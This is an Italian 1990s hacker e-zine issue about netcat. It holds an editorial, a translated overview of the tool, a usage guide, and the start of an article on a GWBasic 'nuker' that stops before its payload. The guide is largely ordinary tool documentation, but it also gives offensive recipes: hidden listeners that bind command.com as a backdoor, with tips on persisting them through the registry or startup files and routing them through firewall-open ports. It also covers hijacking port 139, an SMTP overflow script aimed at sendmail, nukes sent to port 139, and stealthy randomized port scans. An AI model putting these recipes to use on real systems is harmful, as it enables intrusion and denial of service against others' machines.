                _______          __ __________
                \      \   _____/  |\______   \__ __  ____   ____   ___________ ______
                /   |   \_/ __ \   __\       _/  |  \/    \ /    \_/ __ \_  __ /  ___/
               /    |    \  ___/|  | |    |   \  |  /   |  \   |  \  ___/|  | \|___ \
               \____|__  /\___  >__| |____|_  /____/|___|  /___|  /\___  >__| /____  >
                       \/     \/            \/           \/     \/     \/          \/
             --------------------------------------------------------------------------
                                        FrOm Spp to tHe NeT
                                        
                                            NumEro tRE
             --------------------------------------------------------------------------
Sommario:
---------

Facciamo due chiacchere              By ChRoMe


Netcat 1.10
Panoramica                           By Brigante

Un Primo orientamento
sul netcat                           By Buttha 


Un NUker in GWbasic
che sfrutta il NetCat                By Master


Download e upload
di files usando il Boserve
in concomitanza con il NetCat        By ChRoMe


***************************************************************************************


Facciamo due chiacchere
-----------------------
By ChRoMe

Bene bene bene,arieccoci con il NetRunners ntRE.
Per prima cosa facciamo due chiacchere sulla triste storia dell'abbandono del ng
da parte di quasi tutti gli SPP.
Premetto che non ce stato nessun tacito accordo tra gli SPP,il mio post di abbandono e'
scaturito solo ed esclusivamente da una mia decisione,peraltro condivisa dalla maggior
parte degli altri SPP,dopo aver constatato che l'atmosfera del ng...era diventata veramente insopportabile.
Detto questo,ci rimane poco da dire,so che il ng e' stato tolto dal server Tin,e la situazione sembra essere caduta nella desolazione...ma state tranquilli,qualcuno lo riattivera'...e ricominceranno i msg.
Per ora,che io sappia,non ce' intenzione da parte del gruppo di ritornare su ahccc...ma mai dire mai....
Vi faro sapere.

Un'altra e zine ,un po caotica (ma e' il loro primo numero) a dire la verita',e' uscita.
Si chiama NEWBIES,e' curata da N0b0dy e Zero Cool,due amici,nel primo numero ce anche un'articolo del "nostro" RigoR MorteM...l'url da dove scaricarla e'   

http://members.it.tripod.de/ZeroCool/rivista.htm

Dateli un 0kkio,ci sono cose interessanti,e sul numero due,ci saranno altre cose molto interessanti.

Mmmhhhh...questo numero di NetRunners...dovreste gia' trovarlo via web,un grazie a RigoR e Teresa per la costruzione della pagina web che ospitera la rivista.
L'url (so che se leggete questa lo sapete gia',ma lo faccio per chi ha bekkato la e-zine tramite canali "paralleli") e' questo:

http://members.tripod.com/~teresacanis/
     
premete enter e vi apparira tutto il grande lavoro in dhtml che ha svolto il nostro buon RigoR,nella fantastica cornice grafica del mio Tesorino Teresa...hehehehehehe
Trovate i nuovi numeri nella sezione zip......
Ah.la ml..per il netrunners..la disattivero'..mandando un msg a chi si era gia' iscritto,e postandoli l'url da dove scaricare la e-zine.

Stiamo lavorando ad un progetto per IRC..ma per ora non vi dico altro,anche xche' non vorrei che poi anche l'eventuale canale,diventasse meta di rompipalle ,come sul ng.
Per questo ringrazio il Mitico TheDuke,Darkman,ErGoline,Ramsesse...e tutti gli altri che si sono interessati al progetto.

Bene..in questo numero,un po monotematico,affronteremo i vari segreti di NetCat.
Il Brigante ci spieghera' cosa e' realmente il netcat,Buttha ci fara'un panoramica sui comandi,con vari esempi,Master (Lui.come lo chiama Harlock...hehehehe)ci insegna un divertente nuker in gwbasic,sfruttando le potenzialita' di NC,infine come promesso io vi do' delle dritte di come fare download e upload con un boservizzato,ancora sfruttando il NC.
Una nota di colore.....visto che molti (e non faccio nomi..hihihih)mi hanno detto che il netcat non funziona....sappiate che deve essere in esecuzione su entrambe i pc..heheheheheheh.per poter dialogare.

Per il resto.mi sembra non ci sia molto da dire,come al solito vi esorto a farci pervenire commenti,critiche....etc etc..se avete delle domanda,se vorreste vedere trattato un argomento in particolare....scrivete,scrivete ,scrivete....tanto non so' leggere...hihihihihihih

Okkey.allora,sigarettina,relax e leggetevi questo numero.........

P.S.
Quasi dimenticavo

Per Fritz
---------
Ho messo una routine in questo numero,che quando leggerai la 17 riga del 2 articolo....
ti kikkera in automatico,facendoti uno shoutDown del pc....hihihihihihih
Ciao Fritz.lo sai che scherzo.

P.P.S.S.
Un saluto particolare a Jam,e spero che il dente del giudizio non ti dia piu'problemi.....ora che te lo ho craKKato...hihihihihihihihi
Aspetta che le orde barbariche calino sul tuo antro.hihihihihih

Ciao a tutti
alla proxyma
ChRoMe
SPP MemBer



                                    
                                    
                                     _#_




Netcat 1.10
Panoramica
-----------
by Brigante
SPP MembEr

Traduzione dal 
THE DEFCON RELEASE 7/26/96

Il Netcat  una semplice utility Unix che legge e scrive i dati lungo le connessioni di rete, usando il protocollo TCP o UDP.
E' stao progettato per essere un tool affidabile che pu essere usato direttamente o facilmente pilotato da altri programmi e scripts. Allo stesso tempo, ha delle funzioni di network debugging e di esplorazione della rete, per cui pu creare ogni tipo di connessione di cui si pu aver bisogno e ha molteplici funzioni incluse. Il Netcat, o "nc" come  chiamato ora,  stato distribuito per lungo tempo come un tool standar di Unix, pur sapendo che  destinato ad applicazioni critiche.
Nel suo utilizzo pi semplice, "nc host port" crea una connessione TCP alla porta designata dell'Host scelto da noi. Il nostro input standard  quindi inviato all'Host, ed ogni cosa che ritorna indietro attraverso la connessione  inviata al nostro output standard. Questo continua all'infinito, finch l'altra parte non chiude la connessione. Notare che questo comportamento  differente rispetto a quello di molte altre applicazioni che chiudono ogni cosa ed escono dal sistema dopo aver ricevuto un end-of-file come input standard.
Netcat pu anche funzionare come un server, ascoltando le connessioni non autorizzate e leggendo e scrivendo su di esse. Con alcune limitazioni, netcat non fa differenza se gira in modo "client" o "server". Continua a monitorare i dati finch ce ne sono.
In ogni modo, lo spegnimento pu essere causato dopo un configurabile periodo di inattivit da parte dell'Host.
E pu fare tutto questo anche attraverso l'UDP. UDP, come indica la "U", d una connessione meno affidabile rispetto al TCP e alcuni sistemi potrebbero avere dei problemi a inviare una grande quantit di dati per questa via, ma comunque  un'ulteriore facolt del netcat.
Potreste chiedervi :"Perch non usare semplicemente telnet per connettersi arbitrariamente alle porte?" . La domanda  valida, ed ecco le ragioni. Il telnet ha il problema dello "standard input EOF", cos che uno pu introdurre delle pause calcolate in particolari script per far s che l'output della rete termini. Questa  la ragione principale....netcat continua a essere attivo finch l'altra parte della rete non chiude la connessione.
Telnet inoltre non trasferisce i dati binari arbitrari, perch alcuni caratteri sono interpretati come opzioni del telnet e sono rimossi dal flusso dei dati. Telnet inoltre emette alcuni dei suoi messaggi di diagnostica verso l'output standard, laddove netcat invece tiene religiosamente separato l'output standard dal proprio output, e non modifica alcun dato in transito a meno che non lo si voglia espressamente.
E naturalmente telnet non pu ascoltare le connessioni non consentite, o usare l'UDP. Netcat non ha alcuna di dette limitazioni,  pi piccolo e pi veloce del telnet ed ha molti altri vantaggi.
ALcune delle principali caratteristiche del Netcat sono:
1) Connessioni non autorizzate verso l'esterno o verso l'interno, TCP o UDP, da o verso qualsiasi porta
2) Controllo completo del DNS forward/reverse, con avvisi appropriati
3) Capacit di usare ogni porta sorgente locale
4) Capacit di usare ogni indirizzo sorgente della rete localmente configurato
5) Port scanner incluso, con randomizer
6) Inclusa capacit di allentare il routing sorgente
7) Possibilit di leggere gli argomenti della linea di comando provenienti da un input standard
8) Modo slow-send, una linea ogni N secondi
9) Hex dump dei dati trasmessi e ricevuti
10) Facolt opzionale di lasciare ad un altro programma il compito di controllare la connessione
11) Risponditore con funzioni telnet opzionale

Esplorazione delle funzioni del netcat
Da dove cominciare? Netcat  allo stesso tempo cos semplice e versatile, che  come provare a descrivere tutto quello che si pu fare con un coltellino svizzero.
Se non sono dati comandi, netcat li richiede, leggendoli da una linea di input standard, e li include nella lista dei comandi interna. Ci pu risultare utile quando di comanda netcat attraverso certi script, con il risultato di nascondere i propri comandi personalizzati dalla pubblica visione.
L'host pu essere un nome o un indirizzo IP. Se  specificato -n, netcat accetter solo IP numerici, e non far alcuna ricerca del DNS. Se non  dato il parametro -n, ma  dato -v, netcat far anche una ricerca del suffisso DNS, e vi avviser nel caso dovesse incontrare dei problemi. Questo spesso allunga la connessione si un p, ma d comunque informazioni utili. Ci sono ipotesi in cui questa opzione vi pu far addirittura risparmiare del tempo, come ad es. quando volete conoscere il nome di alcuni indirizzi IP e collegarvi agli stessi. Netcat vi sir tutto riguardo essi, salvando i passaggi occorsi per risolvere l'hostname in modo da renderli case-sensitive, il che alcune volte pu essere utile per scoprire alcuni errori minori nei propri file DNS che assillano la propria rete.

Una indicazione di porta  necessaria per delle connessioni outbound, e pu essere numerica o un nome a seconda di come  elencata in /etc/services. Se -n  specificato, solo gli argomenti numerici sono validi. Sintassi speciali e/o argomenti riguardanti pi di una porta possono causare dei comportamenti diversi.

L'opzione -v controlla il livello di tempo dei messaggi inviati verso lo standard error. Probabilmente eseguirete netcat il pi delle volte con l'opzione -v attiva, cos da poter avere informazioni sulla connessione che si sta provando a fare. Ma alle volte preferirete anche dare un argomento -w, che limita il tempo speso a cercare di stabilire una connessione. Io uso spesso "nc -v -w 3", che fa in pratica le stesse funzioni del telnet. Il timeout  facilmente modificabile tramite un argomento susseguente il -w che riscrive l'ultimo intervallo di tempo dato.
Specificare il -v pi di una volta d un output di diagnostica pi completo. Se -v non  specificato per niente, netcat continua silenziosamente a fare il suo lavoro finch non incorre in qualche errore, dopodich descrive l'errore ed esce dando un nonzero status.
Le connessioni di rete rifiutate non sono generalmente considerate errori, a meno che non abbiate richiesto solo una singola porta TCP ed essa vi abbia rifiutato.
Notare che -w determina anche il timeout di inattivit della rete. Questo non ha alcun effetto finch non chiude l'input standard, ma da quel momento se non arriva niente nei prossimi <timeout> secondi, netcat prover a leggere la rete ancora una volta per una essere sicuro, dopodich si chiuder ed uscir. Ci sono molti servizi di rete ora che accettano una piccola quantit di input e rispondono son una grossa quantit di output, come i server Web o Gopher, che  la ragione principale per cui netcat  stato progettato per cessare di restare aperto sulla rete oltre l'input standard.
Le connessioni UDP sono aperte al posto di quelle TCP quando  specificato -u. Netcat usa internamente il meccanismo "connected UDP socket" che  supportato da molti kernel. Sebbene netcat richieda che una connessione uscente UDP sia aperta immediatamente, non sono inviati dati finch non  letto qualcosa dall'input standard. Solo da allora in poi  possibile determinare quando c' veramente un server UDP all'altra parte, e spesso non  facile dirlo. Molti protocolli UDP usano timeouts e retries per fare le loro cose e in molti casi non si preoccupano per nulla di rispondere, cos voi dovete specificare un timeout e sperare che vada bene. Otterrete molto da una connessione UDP se l'input standard  nutrito da una sorgente di dati che sembrano vari tipi di richieste da parte del server.

Per ottenere un hex dump dei data inviati dall'una o dall'altra parte, usate "-o logfile". La linea comincier con "<" o con ">" per indicare rispettivamente "Dalla rete" o "Verso la rete", e contiene in conto totale per direzione, e la rappresentazione esadecimale ed ASCII del traffico. Catturare un hex dump solitamente rallenta il netcat, per questo motivo non  consigliabile usarlo quando la velocit  critica.
Netcat si pu legare a qualsiasi porta, soggetto alle restrizioni dei privilegi e alle porte che sono gi in uso. E' anche possibile usare uno specifico indirizzo sorgente di rete locale. [Notare che questo non funziona su tutte le piattaforme]. Usare "-p n di porta" per agganciarsi a una porta locale specifica, e "-s indirizzo IP" o "-s nome dell'Host" per far si che siano il vostro indirizzo IP sorgente. Questo  spesso chiamato "ancoraggio del socket". Chi ha i privilegi di root pu agganciare qualunque porta sorgente incluse quelle "riservate" inferiori alla 1024. L'assenza di -p vi far legare a qualunque porta non usata che il sistema vi indicher, come una qualsiasi altra connessione client, a meno che non usiate l'opzione -r.
Il modo di ascolto far s che netcat attenda una connessione inbound, e allora inizier il trasferimento degli stessi dati. Potete fare questo scrivendo "nc -l -p 1234<nome del file" e quando qualcun altro si connetter alla vostra porta 1234, il file gli verr inviato che voglia o no. Il modo di ascolto  usato generalmente con un argomento di porta locale--questo  richiesto per il modo UDP, mentre il modo TCP ne ha uno assegnato dal sistema, che voi potete scoprire con il -v. Se voi specificate un Host di destinazione ed una porta opzionale in modalit di ascolto, netcat accetter una connessione inbound solo dall'Host che avrete specificato, e solo da quella determinata porta.
Nel modo verbose sarete informati circa la connessione inbound, incluso da quale indirizzo e porta provenga. Se il sistema supporta l'opzione IP socket, netcat prover a recuperare ogni cosa come opzione da una connessione inbound e la stamper in esadecimale.
Se il netcat  compilato con -DAPING_SECURITY_HOLE, l'argomento -e specifica un programma da eseguire dopo aver stabilito o ricevuto una connessione con successo. Nel modo di ascolto, questo lavora analogamente all "inetd", ma solo per una singola istanza.
Usare con MOLTA ATTENZIONE. Questo pezzo di codice normalmente non  abilitato; se si  consapevoli di quello che si sta facendo, buon divertimento. Questa opzione funziona anche nel modo UDP. Notare che  possibile scrivere solo -e con il nome del programma, ma senza argomenti. Se volete lanciare qualcosa con una lista di argomenti, scrivete uno script di un paio si righe oppure usate inetd come sempre.
Se il netcat  compilato con -DTELNET, l'argomento -t abilita la risposta alla negoziazione telnet.
I dati dalla connessione di rete sono sempre inviati all'output standard il pi efficientemente possibile, usando 8 K per la lettura e la scrittura. L'input standard  normalmente inviato lungo la stessa strada, ma lo switch -i specifica un intervallo di tempo che lo rallenta considerevolmente. L'input standard  a sua volta letto in grandi quantit, ma netcat allora prova a cercare dove l'interruzione di linea esce e invia una linea per ogni intevallo di tempo. Notare che se l'input standard  un terminale, i dati sono gi letti linea per linea, cos che finche non farete l'intervallo -i pi lungo, ci che scriverete uscir con una velocit abbastanza normale. -i  stato progettato in realt per essere usato quando ci sia bisogno di misurare la frequenza di fuoriuscita di ci che viene letto dai files o dai pipes.

Il port-scanning  un diffusissimo metodo di esplorazione della rete. Netcat accetta questo comando con queste opzioni prima, che l'Host di destinazione, o qualunque altra cosa ci sia in mezzo sia interpretata come un numero di porta o un numero, o un range di porte in sintassi M-N. Se  specificata pi di una porta, netcat si collegher a tutte queste, inviando la stessa porzione di dati dall'input standard [un valore superiore agli 8K] ad ogni porta cui ci si sia connessi con successo. Lo specificare molteplici porte sopprime anche i messaggi diagnostici riguardo le connessioni rifiutate, a meno che -v sia specificato 2 volte per indicare maggiore verbosit. In questo modo normalmente vi saranno notificate solo le connessioni aperte senza problemi. Esempio "nc -v -w 2 -z target 20-30" prover a connettersi ad ogni porta tra la 20 e la 30 [incluse] del computer target, e vi informer nel caso dovesse incontrare un server FTP, un server telnet o  un mailserver lungo il percorso. Lo switch -z previene l'invio di ogni tipo di dati verso una connessione TCP, e ci  utile come un modo di scanning veloce per vedere quali porte il computer target ha aperte. Se si vuole impostare un limite alla velocit dello scanning, -i inserir una pausa tra lo scan di una porta e lo scan della successiva.
Per ogni range di porte specificato, lo scanning  fatto normalmente dall' ultima a salire. Se viene usato lo switch -r, lo scanning procede casualmente tra le porte incluse nel range, ed avvisa appena ne trova una aperta. In aggiunta, se  attivo il modo di scanning casuale, le porte locali sorgenti sono anche randomizzate. Questo fa si che il netcat non presenti un modello di scansione regolare. Potete esercitare un controllo molto approfondito sulla vostra scansione con un uso giudizioso dello switch -r e il range delle porte da nascondere selezionato. Se voi usate -r per una singola connessione, la porta sorgente avr un valora casuale al di sotto del 8192, invece di quello che il kernel vi avrebbe assegnato. Notare che selezionare una porta locale specifica sovrascriver ogni randomizzazione delle porte locali.
Molti dono interessati a testare la connettivit di una rete usando l' IP source routing, anche se questo solo per essere sicuri che i propri firewall riescano a bloccare i pacchetti provenienti da una certa sorgente. Sui sistemi che lo supportano, lo switch -g pu essere usato molte volte [superiori ad 8] per costruire un loose-source-routed path per la vostra connessione, e l'argomento -G posiziona l'"hop point" all'interno della lista. Se la vostra rete supporta il traffico source-rated in entrata ed in uscita, potrete testare la connetttivit ai vostri servizi attraverso punti remoti in Internet.
Netcat fa del suo meglio per essere come un gatto. Attualmente non fa nulla ai modi di input del terminale, e non fa conversione end-of-line. L'input standard da un terminale  letto linea per linea con normali caratteri editabili. Potete liberamente sospendere una connessione e riesumarla. ^C o qualsiasi sia il vostro carattere di interrupt inetrromperanno netcat e lo faranno uscire. 
Il netcat non  un "generatore di pacchetti arbitrari", ma ha la capacit di parlare ai sockets raw and/or nit/bpf/dlpi.
Questo  quanto sul netcat.....se vi ha interessato affronteremo in seguito delle applicazioni pratiche.

Per ogni richiesta o commento la mia e-mail  perry@freemail.it

GoOd HaCkInG

Brigante


                                          _#_
                                          
                                          

UN PRIMO ORIENTAMENTO SU NETCAT 
-------------------------------
by Buttha
-------------------------------
versione 0.5
-------------------------------

Opzioni:

-d 		stealth mode: NC funziona in modalita' TSR; cioe' e' un modo per
		rendere la sua presenza "discreta"
-e prog.exe     esegue il programma prog.exe se NC riceve qualche collegamento
-h		help
-i SEC		fa una pausa di SEC secondi tra una linea mandata e l'altra
		o tra una porta scannata e l'altra
-l		modo 'ascolto'. Una volta che l'ascolto ha fine (socket chiusa)
		netcat termina
-L		modo 'ascolto' ciclico. Finita una sessione, nc si riesegue, aspettando
		altre connessioni
		(-L -d e otteniamo un netcat in ascolto continuo e discreto ^_^)
-n IP		specifica l'IP in modo numerico. Netcat non interroga il DNS
-o file.txt	salva il traffico in entrata ed in uscita (formato esadecimale)
-p PORTA	fa riferimento alla porta locale PORTA
-r		modo random: usato sia per lo scanning che per l'ascolto. Viene
		scelta una porta casuale
-s ADDR		ADDR e' un indirizzo sorgente locale
-t		risponde alle negoziazioni telnet, evitando di spedire informazioni
		extra sul proprio conto
-u		modo UDP: fa lavorare netcat con il protocollo UDP invece di TCP/IP
-v		modo verbose
-v -v		modo very verbose
-w SEC		se non arriva niente dopo SEC secondi, netcat prova a leggere ancora
		una volta, per sicurezza, e poi termina
-z		modo zero-I/O. Utilizzato nello scanning di porte


NOTA PER LINUX: 
per abilitare le opzioni -e e -t compilare con le rispettive opzioni
-DGAPING_SECURITY_HOLE e -DTELNET.
Per farlo, senza dover andare a modificare il make file:
make DFLAGS="-DGAPING_SECURITY_HOLE -DTELNET" linux


Ora vediamo possibili utilizzi.

Nota 1: questi sono solo alcuni esempi. Per un lista completa, assicurarsi di avere un
editor che consenta di aprire file di cardinalita' infinita numerabile :)
Nota 2: la lettura della guida di netcat e' molto utile ;)
Nota 3: per quanto io mi possa sforzare, questa guida assomigliera', sempre e comunque,
alla guida scritta da Master :)
Nota 4: molti esempi sono presi dal manuale di nc

TELNET
------

nc puo' fungere da telnet


*) nc <host> <porta>

e ci si collega all'host <host> e alla porta <porta>.
<porta> potra' essere specificata come un numero o come un nome (nome di quelli presenti
in /etc/services o in \windows\services).
Il proprio standard input viene mandato a <host>:<porta> e le risposte dell'host vengono
mandate al proprio standard output.


*) nc <host> <porta> -u

telnet in modalita' UDP


*) nc -t <host> <porta>

si preoccupa di rispondere a negoziazioni con telnetd, prevenendo l'invio di informazioni
extra sul proprio conto: ci possono essere demoni che provano a chiedere cose come
USER e variabili d'ambiente TERM, e questi demoni non verranno accontentati.
Cosi' si evita di fare una connessione con il proprio vero username.


*) nc -n <IP host> <porta>

l'opzione -n permette di specificare l'IP: netcat non utilizza il DNS.
La porta dovra' essere specifica in modo numerico, vista la presenza di -n.

*) nc <host> <porta> -v

utilizza il DNS e visualizza tutti i problemi riscontrati con quest'ultimo

*) nc <host> <porta> -o file.txt

salva tutto cio' che e' stato inviato o ricevuto nel file.txt in formato esadecimale e
ASCII.
Le linee che iniziano con < indicano che i dati sono stati ricevuti dall'host,
mentre le linee che cominciano con > indicano i dati che sono stati spediti all'host.


NETCAT IN ASCOLTO
-----------------

*) nc -l -p <porta>

Ascolta cio' che arriva alla porta <porta> e lo visualizza.
Per una visualizzazione piu' dettagliata, utilizzare i modi verbose.
Una volta che la comunicazione viene chiusa da chi si e' collegato
a tale porta, nc termina.

*) nc -L -p <porta>

Come prima, solo che, una volta che il primo collegamento a <porta> termina,
netcat si rimette in ascolto.

*) nc -L -p <porta> < file.txt

quando uno si collega a <porta>, netcat invia i dati contenuti in file.txt a chi
ha effettuato il collegamento

*) nc -L -p <porta> > file.txt

ascolta <porta> e salva il traffico in file.txt

*) nc -L -p <porta> > file.txt -d

ascolta <porta> e salva cio' che viene inviato a quella porta.
Nc, in questo caso, lavora in background.

*) esempio: nc -L -p 12345 -v > netbus.txt -d

cioe' un bel file con una raccolta di sventurati :)


NETCAT IN TRASMISSIONE
----------------------

*) nc <IP> <porta> < pippo.com

Spedisce il file pippo.com all'indirizzo IP:porta.
Se il computer che corrisponde al destinatario esegue un
nc -l -p <porta> > pluto.com
allora riceve il file pippo.com e lo salva con il nome pluto.com

*) nc <IP di un host> <porta> < script.txt

si collega all'host, facendo una sessione telnet "guidata" dal contenuto del
file script.txt.
L'host puo' essere un server SMTP, un news server, un web server, ecc...

Esempio:
siete stufi di mandare in overflow il vostro sendmail preferito?

**file script.txt
HELO xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
MAIL FROM: mah@boh.net
RCPT TO: quelo@star.net
DATA
questa e' una mail di prova,
inviata da mah@boh.net a quelo@star.net, perche'
mah c'aveva grossa crisi
.
**fine file

e facciamo un bel
nc <IP SMTP> 25 < script.txt

otteniamo l'invio della mail.

*) nc <IP> 139 < nuke.txt

mah!


IL DISCORSO DELLE PRIORITA'
--------------------------

Quale e' la differenza tra un nc -L -p 25 -v 
e un nc -L -p 25 -n -s <proprio_IP> ?
La differenza e' che il primo comando fa un bind di tipo "any" alla porta 25, mentre
il secondo specifica un IP preciso della proprio macchina (per es. l'indirizzo ethernet
della propria macchina).
Questo da, al secondo netcat, una priorita' maggiore rispetto al primo:
una connessione sulla porta 25 verra' gestita in maniera esclusiva dal netcat con
l'opzione -s.

Provate a fare un esperimento:
da una shell dos inserite il primo comando: nc -L -p 25 -v;
da un'altra shell il secondo: nc -L -p 25 -v -n -s 127.0.0.1 ;
ed, infine, da una terza shell fate un bel: nc 127.0.0.1 25 e scrivete qualche cosa, seguita
da invio.
Vedrete che e' il secondo netcat quello che riceve il tutto, mentre il primo non si accorge
di nulla.
Vi dice qualcosa?
Due cose: massima priorita' e ricezione dei dati in esclusiva.
E' il modo per sostituirsi a certi servizi in ascolto su determinate porte.
Supponiamo, per es, di essere in una rete locale, e il pc sul quale lavoriamo utilizza 
netbios.
Netbios e' un'altro servizio che fa un bind di tipo "any".
Se noi facciamo un nc -L -p 139 -n -s xxx.xxx.xxx -e programma.exe (dove xxx.xxx.xxx e'
un indirizzo della macchina), allora scavalchiamo di fatto netbios, e qualsiasi connessione
alla nostra macchina, sulla porta 139, mandera' in esecuzione programma.exe

Un possibile utilizzo dell'opzione -s potrebbe essere per il server X di Linux:
X fa un bind di tipo "any" sulla porta 6000 e con netcat possiamo monitorare i tentativi
di connessione alla nostra porta 6000, sostituendoci al server X in ascolto.

NETCAT COME BACKDOOR
--------------------

*) nc -L -p <porta> -e path\programma.exe -d

netcat aspetta una connessione su <porta>.
Quando essa avviene, esegue programma.exe

*) nc -L -p <porta> -e path\programma.exe -u -d

utilizza il protocollo UDP

*) Esempio innocente ;)
nc -L -p 3333 -e c:\command.com -d

e ora collegatevi con il telnet :)
Personalmente, se mi collego con
nc 127.0.0.1 3333
ottengo la shell, ma non risponde ai comandi. Problema che non si verifica se
utilizzo telnet.

Non ho mai provato, ma credo di possa mettere un richiamo a netcat nel registry... ;-))
...o in winstart.bat... o in qualche ini... insomma, c'e' l'imbarazzo della scelta.

Per macchine sotto firewall, bisogna utilizzare le porte lasciate aperte dal
firewall stesso (per es. la 53).

Per avere una sicurezza maggiore, si potrebbe fare una cosa del tipo:

nc -L -p <porta> -e c:\path\login.exe -d

dove login e' un programma che chiede una password e poi lancia la shell.


NETCAT COME PORT SCANNER
------------------------

*) nc <IP> <porta di inizio scan>-<porta di fine scan> -v

fa uno scanning del range indicato.

E' possibile indicare piu' range:

esempio:
nc <IP> 80-140 1024-1050 -v

*) nc <IP> 80-140 -v -i 3

aspetta 3 secondi tra una porta e l'altra

*) nc <IP> 80-140 -v -z

il parametro -z manda il minor numero di dati possibile.
Utile per scanning veloci, per sapere solamente che porte sono aperte

*) nc <IP> 80-140 -v -r

le porte vengono scannate seguendo un ordinamento casuale, e anche le nostre porte
locali utilizzate per lo scanning vengono scelte in modo casuale.
Questo evita di mostrare un pattern regolare nello scanning.


STUDIO DI UN HOST
-----------------

Vista la possibilita' di usare pipe, l'utilizzo di netcat in Linux diventa piu'
flessibile.
Vediamo qualche esempio, tratto dalla guida di netcat:

*) echo QUIT | nc -v -w 5 <host da studiare> 20-250 500-600 5990-7000

per ogni porta indicata, echo manda la parola 'QUIT' a tale porta e, con
l'opzione -w 5, sta ad aspettare la risposta.
Qualora ci sia qualche server sulla macchina, esso rispondera' con qualche messaggio
di errore o qualche saluto, dandoci informazioni, magari, su che tipo di servizio 
siamo incappati e la sua versione.
Questa e' la stessa tecnica usata da SATAN.

La stessa cosa puo' essere ottenuta da windows nel seguente modo:
create un file di testo che contenga la parola QUIT, e salvatelo.
Ora fate un:

nc -v -w 5 <host da studiare> 20-250 500-600 5990-7000 < nomefile.txt

UTILIZZO DELLE PIPE
-------------------

*) nc -l -p 1234 | uncompress -c | tar xvfp -

e, sull'altro pc:

   tar cfp - /some/dir | compress -c | nc -w 3 primopc 1234

il secondo comando comprime una directory e invia il risultato attraverso netcat.
Il primo riceve il malloppo e scomprime.
Risultato: directory trasferita da un pc all'altro.

PERSONALIZZARE TELNET IN LINUX
------------------------------

Supponiamo che proprio vogliamo utilizzare telnet, ma ci farebbe comodo qualche opzione
di netcat.
Allora creiamo uno script "telcat" :)

#! /bin/sh
exec nc -opzioni_desiderate <host> <porta_host>

mandiamo in esecuzione un:
nc -l -p <porta> -e telcat localhost &

ed infine:
telnet localhost <porta>

il telnet si colleghera' all'host, grazie alla gentile intercessione di netcat,
usando le opzioni specificate nello script.

Nota: tra le opzioni non ci deve essere -t, altrimenti ci saranno due risposte
alle negoziazioni


VARIE ED EVENTUALI
------------------

Con questa mini guida, non ho minimamente esaurito quello che si puo' dire
su netcat: ho introdotto l'argomento.
Ne sono un esempio le opzioni -g e -G...
Sulla distribuzione di nc per Linux sono, inoltre, presenti degli script di
esempio che permettono un uso ancor piu' proficuo di questo semplice comando.
Per intenderci: netcat puo' essere usato per provare a creare un traffico enorme
su di una rete e metterla alla prova, oppure come generatore di un flusso di dati
per testare dei servizi e la loro resistenza.
Metterlo su di una macchina in rete, in ascolto, puo' essere un modo per offrire
un servizio, da vari punti di vista:
pensiamo ad una pagina web che abbia un puntatore all'indirizzo e alla porta 
della macchina sul quale gira netcat, macchina che puo' essere in qualsiasi punto 
della rete...
Oppure pensiamo netcat come un modo di testare servizi sperimentali sulla propria
Linux box: possiamo mandare in esecuzione determinati servizi senza andare a toccare
inetd.
Volendolo invece proprio toccare, questo inetd, e' possibile utilizzare netcat
come redirector per qualsiasi servizio.
Non resta che dare un consiglio: leggete il manuale accluso al programma e sperimentate.

Buttha



                                          _#_    
                                          
                                          
                                          
 
Un NUker in GWbasic
che sfrutta il NetCat
---------------------
By Master

(questo e' un vecchio post di Master apparso su AHCCC
 quando ancora era un ng interessante.....)

Allora vi pubblico un semplice programma per mandare le nuke a che effettua
i ping sulla porta 31337 upd usando netcat e gwbasic. GWBASIC????  .. si
gwbasic perche' questo vecchio interprete fritto e rifritto ha delle opzioni
molto interessanti per il 'lavoro pratico'.
Ad esempio crea linee differenziate di pipe e utilizza lo schermo come input,
cosa che il c non fa se non
con un prog apposito.
Questo serve quando si fa girare un programma come netcat che annulla le pipe dos
in quanto sfrutta gia una pipe-line sua di sistema.
In risc-os e' possibile dire nc --qualcosa-- > testo1 & > testo2  .. in
testo1 ci va il pipe di netcat e in testo2 l'output a schermo .. in dos non
funziona purtroppo.
In piu' il c essendo un linguaggio 'troppo' evoluto per i nostri scopi non
blocca l'esecuzione di un prog durante lo svolgimento di una schell-dos
(comodissimo in tutti gli altri casi ma qui no!) .. il povero gwbasic si in
quanto il multitasking e la ricorsivita' non sa nemmeno cosa siano.
... visto che il c poi resta ostico a diversi mi sa che faccio felice almeno
qualcuno! hi hi hi

  (Se a qualcuno interessa ho un compilatorino basic fatto da me che compila
un file di testo con il programma all'interno facendolo sembrare poi un
programma in c++ della Borland! ha ha ha .. cosi' uno puo' sempre far finta
con gli amici di sapere il c++!!! ... si possono fare versioni che compilano
in lisp, in prolog e anche in Aldebaran volendo! ;-))  )


  allora il programma richiede ovviamente il gwbasic che penso si trovi
facilmente, netcat e un file di testo chiamato nuke.dat da mettere tutti
nella stessa dir.
All'interno del file nuke.dat va scritto del testo .. e' la nuke da mandare
sulla porta 139. Potrebbe contenere questo ad esempio :

   File nuke.dat
